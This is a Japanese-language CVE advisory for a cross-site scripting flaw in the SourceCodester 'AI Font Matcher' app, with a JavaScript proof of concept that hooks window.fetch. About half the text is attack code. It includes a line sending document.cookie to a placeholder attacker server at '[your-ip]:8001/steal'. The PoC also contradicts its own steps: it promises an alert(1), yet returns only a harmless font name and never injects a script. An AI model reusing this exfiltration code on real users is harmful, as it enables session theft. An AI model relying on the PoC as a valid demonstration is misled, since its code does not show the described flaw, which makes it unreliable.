CVE-2025-63708

CVE ID: CVE-2025-63708
Assigned: 11-12-2025 Problem Type: CWE-79 (クロスサイトスクリプティング)
Affected Product: “AI Font Matcher” (2025-10-10投稿, nid=18425)
Product page: https://www.sourcecodester.com/javascript/18425/ai-font-matcher-using-html-css-and-javascript-source-code.html
Discovery date: 2025-10-11
Researcher: Dylan Davis

概要

このアプリケーションは、webfonts フェッチから取得したデータを、フォントファミリー名をサニタイズせずに処理します。このレスポンスを制御または傍受した攻撃者は、ページコンテキストで実行されるJavaScriptを注入でき、セッションCookieの窃取とアカウント乗っ取りが可能になります。

影響

• 被害者のブラウザでの任意のJavaScript実行
• セッションCookieの外部送信（テスト中に非HttpOnly Cookieを確認）
• アカウントの乗っ取り、およびユーザーに代わって実行される操作

影響を受けるバージョン / 範囲

• SourceCodesterに配布されている “AI Font Matcher” パッケージ（2025-10-10時点）

再現手順 (PoC)

このPoCは、window.fetchをフックし、制御されたWeb Fontsペイロードを返すことでコード実行を示します。

1. ダウンロードしたソースからアプリをローカルで実行します。
2. DevTools → Consoleを開き、以下のPoCを貼り付けます（またはpoc.jsを読み込みます）。
3. webfontsをフェッチするUIをトリガーし、alert(1)が表示されることを確認します。

window.__origFetch = window.fetch;
window.fetch = async function(input, init) {
    const url = (typeof input === 'string') ? input : input?.url;
    if (url && url.includes('webfonts')) {
        // Exfiltrate cookie to your server
        fetch('http://[your-ip]:8001/steal?cookie=' + 
              encodeURIComponent(document.cookie))
            .catch(e => console.log('Exfil failed:', e));
        
        return new Response(JSON.stringify({
            kind: "webfonts#webfontList",
            items: [{ family: "Playfair Display", category: "serif" }]
        }), {
            status: 200, 
            headers: {'Content-Type': 'application/json'}
        });
    }
    return window.__origFetch.apply(this, arguments);
};